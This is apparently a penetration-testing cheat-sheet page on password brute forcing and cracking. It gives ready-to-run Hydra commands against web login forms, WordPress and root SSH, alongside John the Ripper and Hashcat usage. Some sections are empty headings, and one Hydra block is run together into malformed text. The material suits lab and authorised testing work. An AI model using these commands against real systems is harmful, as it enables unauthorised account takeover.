Brute Force Password Attacks & Cracking

John The Ripper

john --wordlist=/usr/share/wordlists/rockyou.txt -format=$format hash.txt

Hydra

To brute force the web form using Hydra the following information is required:

  • IP address

  • GET/POST request: http-get-form or http-post-form

  • Username: -l for a static username or -L for a list of usernames

  • Password: -p for a static password or -P for a password list

  • Number of threads is optional: -t

hydra -L "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -P "/usr/share/seclists/Passwords/darkweb2017-top100.txt" -f -t 2 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:login_error"

hydra -l admin -P /usr/share/wordlist/rockyou.txt -vV -f -t 2 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:login_error

hydra $ip -l $username -P [password list] [http form type] ":​hydra -L <username list> -p <password list> [host] http-post-form "::"​hydra -L <wordlist> -P <password list> [host] http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"​​hydra -l [username] -P /usr/share/wordlists/rockyou.txt [host] http-post-form "/wp-admin/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:S=http%3A%2F%2F[host]%2Fwp-admin%2F" -V​hydra -l root -P /usr/share/wordlists/fasttrack.txt [host] ssh​hydra -s 22022 -l root -P /usr/share/wordlists/fasttrack.txt [host] ssh​hydra -s 22022 -L userlist.txt -P /usr/share/wordlists/fasttrack.txt [host] ssh -t 4  -v​hydra $TARGET http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list

Hashcat

  • m is the hash format (e.g. m 13100 is Kerberos 5)

  • a 0 is a dictionary attack

  • o cracked.txt is the output file for the cracked password

  • target_hashes.txt is the hash to be cracked

  • /usr/share/wordlists/rockyou.txt is the absolute path to the wordlist

  • --force is something I always have to add (think it's GPU-related)

Ncrack

Ncrack can be used to crack RDP passwords:

By default, Metasploit will use its list of default Tomcat usernames and passwords, but you could set a single username with set username or run a custom list with set user_file. You can also run a longer password list with set pass_file. Depending on how fast the server responds, you could use a big wordlist but otherwise stick to fasttrack.txt.

Cracking Wordpress Password with WPScan

Crack Zipfiles

Find SSH Keyphrase with John - Crack SSH Private Key

First we’ll need to convert the ssh key using ssh2john with this command. Crack ssh.

Crack shadow or Passwd File

PreviousWordlistsNextHashes

Last updated

Was this helpful?